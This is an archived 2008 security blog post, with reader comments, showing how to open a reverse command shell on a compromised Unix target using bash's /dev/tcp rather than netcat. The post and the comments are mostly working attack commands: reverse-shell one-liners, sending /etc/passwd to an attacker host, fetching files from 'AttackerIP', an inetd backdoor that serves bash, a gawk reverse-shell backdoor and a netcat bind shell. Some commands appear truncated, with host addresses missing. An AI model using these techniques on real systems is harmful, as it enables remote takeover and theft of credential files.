Reverse Shell with Bash

Sat, 19 Apr 2008 11:03:39 GMT
by pdp

I am stuck at the Dubai International Airport and I have nothing else interesting to do. So, I though I might share a simple technique which will go into the Agile Hacking project. Here I will show you how to create a reverse command shell without using any 3rd-party tools such as the all mighty netcat.

When we compromise a machine we often need to provide ourselves with a user friendly access to the system. This is where command shells come into place. The typical shell consists of a generic network client, typically netcat, listening on a remote port which pipes output into something like bash or any other command shell. Another type of shell is the reverse shell which consists of a generic network client, again something like netcat, connecting to the attacker's machine and piping input to bash. Most of the time, the attacker will use netcat, because this tool can be easily found on most system or easily compiled from source if required.

Although netcat is very useful, and you may have to use it in most cases, here is a simple technique which emulates what netcat does but it relies on bash only. Let's see how.

In step one we start a listening service on our box. We can use netcat, or whatever you might have at hand.

$ nc -l -p 8080 -vvv

On the target we have to perform some bash-fu. We will create a new descriptor which is assigned to a network node. Then we will read and write to that descriptor.

$ exec 5<>/dev/tcp/
$ cat <&5 | while read line; do $line 2>&5 >&5; done

There you go. Now everything we type in our local listening server will get executed on the target and the output of the commands will be piped back. Keep in mind that we don't use any 3rd-party tools on the target but its default shell. This technique comes handy in many situations and it leaves very small footprint on the targeted system.

Archived Comments

Adrian 'pagvac' PastorAdrian 'pagvac' Pastor
This is the kind of stuff I like. As we tend to say: "there is always an easier way to solve the problem".
This shit doesn't work everywhere, you need to have compiled support in bash for it, and since it's very broken, most distributions do not ship bash enabled with this feature.
Nice, but I preferred the original write-up ;)
To bad is not working on debian distributions.
dude dydedude dyde
give credit where its due. this was posted yesterday on some other sites prior.
a cool trick, but is there a convenient way of doing this in debian? Debian doesnt have the "/dev/tcp" feature as part of its bash by default, is there a way to get around that and use something else?
first of all, I find this feature working on far too many systems. Second, similar things can be done with TCL and 3rd, I don't read every single blog out there to know that someone has blogged about it as well, neither I claim that it is new. If someone has posted similar technique somewhere else, it is just a coincidence. On another note, giving credits for something like this, is a bit stupid. :) It is like giving credits to someone for writing a for loop in bash. This is a feature not an ingenious hack. Also, my example significantly differs from the example provided by the blog post suggested above. thanks for the heads up and apologies to those who think that I have ripped off their work. It is certainly not the case.
Nice one, but on my system the man page of bash states the following: :( NOTE: Bash, as packaged for Debian, does not support using the /dev/tcp and /dev/udp files.
if you don't have this feature compiled you can use TCL which is most likely installed on the system. Now, this defeats the purpose of the technique presented here but it might be better in some situations when you are restricted in terms of being able to upload netcat for example. For more information on using TCL socket features, read the following link:
otze, unfortunately Debian does not support it. keep in mind that Debian mainly uses very old stable packages. Which is good and bad at the same time.
You are my idol #1
Yes! Works fine on Solaris 9 and 10. Always had problems getting a netcat compiled on Solaris. Hate gcc problems on Solaris. The netcat version provided by does not include the "-e" option for bidirectional communication.
I tried this on a ubuntu server and it does not work in it's default configuration. If you build the bash using the use --enable-net-redirections build flag it will work. Just in case someone else was wondering why it wouldn't work.
Nice stuff, I really love this website :D
Jim KellyJim Kelly
I checked the bash man page on Mac OS X 10.5.2 and it DOES support /dev/tcp!! jk
Jim KellyJim Kelly
I just tried it on Mac OS X Leopard and it works!! caveat I connected to and from localhost so my next test, time willing will be to try to/from another host. Nothing shows up on the victim host, all std out shows up on attacker side ;-) pdp awesome awesome tip!!!
Yash KadakiaYash Kadakia
Thanks for the tip! Its an interesting concept to minimize the footprint on the client machine.
you can remove the cat <&5, will be:
while read line 0<&5; do $line 2>&5 >&5; done
there is also the $REPLY var of the read builtin command. thnks for the stuff gnucitizen.
Why using two lines/commands? A one liner version:
$ bash -i >& /dev/tcp/ 0>&1
Note: /dev/tcp support is enabled by default on Redhat. Disabled on Debian. Would be nice to list here support for other well known distro (Suse?).
Jim KellyJim Kelly
Ok here is an idea of how to turn this into a port scanner: Say you are on box and you want to port scan ports 79,80,81 on do the following all on one line:
for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/$i 0>&1;done
What you end up with is something like this:
bash-3.2$ for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/$i 0>&1;done
[1] 5579
bash: connect: Connection refused
bash: /dev/tcp/ Connection refused
[1]+  Done                    echo $i
[1] 5581
[1]+  Done                    echo $i
[1] 5584
bash: connect: Connection refused
bash: /dev/tcp/ Connection refused
[1]+  Done                    echo $i
bash-3.2$ for i in 79 80 81; do echo $i & bash -i >& /dev/tcp/$i 0>&1;done
Closed ports give you back a "Connection refused"
Jim KelyJim Kely
LOL Google is truely my friend: A tcp and udp portscanner implimented in Bash ;-)
It works ok on debian, but only using TCL! :D But works fine! Thx for nice post pdp!
Ops sorry.. really don work on debian. Works on Redhat Enterprise 4 and 5.
Just to complement... i know this post its about the reverse shell. But "debian users" whatch this post about Default-bash:/dev/tcp
Marchiner: wow this bug report goes back to 2002! How much longer till it's fixed ;-)
Ok this is off scope for this thread, and the moderator may not want it but here's a way to use /dev/tcp to banner a web server:
exec 3<>/dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" >&3
cat <&3
You'd feed the on the command line. usage:
Correction: script should read:
exec 3 /dev/tcp/$1/80
echo -e "Get /simple?se=1 HTTP/1.0\n" >&3
cat <&3
Useful, Thanks.
Thanks 'pdp'. Nice concept & article. Though doesn't work for my default Debian base, but surely gonna come handy for research! Kudos and keep up the good work :) Cheers.
PDP Yeh this was old school goodness ;-) I love the idea of using what's already there. Now what I'd like is an equivalent on windows!
unfortunately batch is very limited but you can do similar things with WScript combined with JavaScript(JScript) or VBScript. These stuff come by default on every Windows operating system.
pdp thanks for pointing me in the right direction ;-) Mr. Google sez: LOL Awesome!
Fun and games with /dev/tcp and file transfer: Ok here is how to use this bash /dev/tcp trick to move a file.
  1. On attacker's box: I want to move a file named test.txt to the victim box
    cat test.txt | nc -l 3333
  2. I'll then connect out from victim to attacker's port 3333 and pull back the file test.txt
    bash -i >& /dev/tcp/attackersIP/8080 0>&1 > test.txt
Advantages: netcat stays on the attacker's box. All I use on the victim box is what's already there...bash ;-) -------------------------------------- ok so you are probably saying "That's nice" but if I'm already on the victim and I want to say transfer /etc/password or /etc/shadow back to my attacker's box and I'm too lazy to do terminal copy and paste...then what?
  1. on attacker's box do
    nc -l -p 8080 -vvv > passwd
  2. on victim box do
    cat /etc/passwd > /dev/tcp/attackerIP/8080
and like magic the victim's /etc/password is transferred to the attacker's box.
Transfer a file using HTTP: Say you have compromised a victim box and want to transfer a file to the victim. 1. Put the file in the web root of the attacker box (I'm thinking of the web server in backtrack. 2. Start up the web server on the attacker box 3. On the victim box do:
(echo -e "GET /filename_you_are_moving HTTP/0.9\r\n\r\n" \
1>&3 & cat 0<&3) 3 /dev/tcp/AttackerIP/80 \
| (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; \
do read i; done; cat) > local_filename
Credit where credit is due:
Here is an important thing I just realized...d'oh this /dev/tcp/ thing can only connect outbound, it cannot listen and receive a connection like netcat. As far as I can tell ;-)
BTW the /dev/tcp and /dev/udp is also a feature of the Korn shell. Korn shell is robust shell favored by *nix oldskoolers. You will find it installed by default on Mac OS X. I don't believe it comes default on the remainder of the BSDs(free and open). As far as I can tell it works pretty much the way it does under Bash.
Ok here's some old skool stuff. To create a listener on a *nix box running inetd (as apposed to xinetd)
  • Pick an obscure service from /etc/services associated with a tcp port 1024 and above...for example laplink
    laplink         1547/tcp     # laplink
  • Add the following line to /etc/inetd.conf
    laplink    stream  tcp     nowait  /bin/bash bash -i
  • restart inetd.conf
    killall -HUP inetd
Explaination: You are creating a listener on port tcp/1547 that will shovel you a bash shell. Caveat: this obviously is not my *idea* It's just very VERY old stuff that still works.
Ok I know I know I'm obsessive ;-) Here is a reverse shell implemented in gawk Credit: Phrack 62
#!/usr/bin/gawk -f

        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                } while (cmd != "exit")
Yes exact citation for above is p62-0x08_Remote_Exec.txt "FIST! FIST! FIST! Its all in the wrist: Remote Exec" by grugg
Python Trick If you can use a web app to execute shell commands on the victim:
cd / && python -m SimpleHTTPServer
then Python will start it's own web server listening on port 8000. You can surf to the victim on that port: http://victim:8000 and then transverse the entire file system and download /etc/passwd and /etc/shadow. Tested on macos x 10.5.3 and Safari 3.1.1. For other *nix variants, your mileage may vary.
edward baddouhedward baddouh
nice work pdp, keep on going!
vecnavecna the same prerequisite, but traffic is encoded in icmp.
this is quite interesting. thanks for sharing.
Jeff PriceJeff Price
2 way /dev/tcp communication on debian. Use netcat
mkfifo mypipe
cat mypipe|/bin/bash|nc -l -p 6000 >mypipe
@Jeff: awesome. just tested it on my ubuntu workstation and works like a charm. thanks for sharing!
thanks for nice article...
(macubergeek == pdp)  ? ;-P : ;-|
not really! :)
I doubt whether this can be correct. The man page of nc mentions this w.r.t. to the -l option": "It is an error to use this [l-] option in conjunction with the -p, -s, or -z options."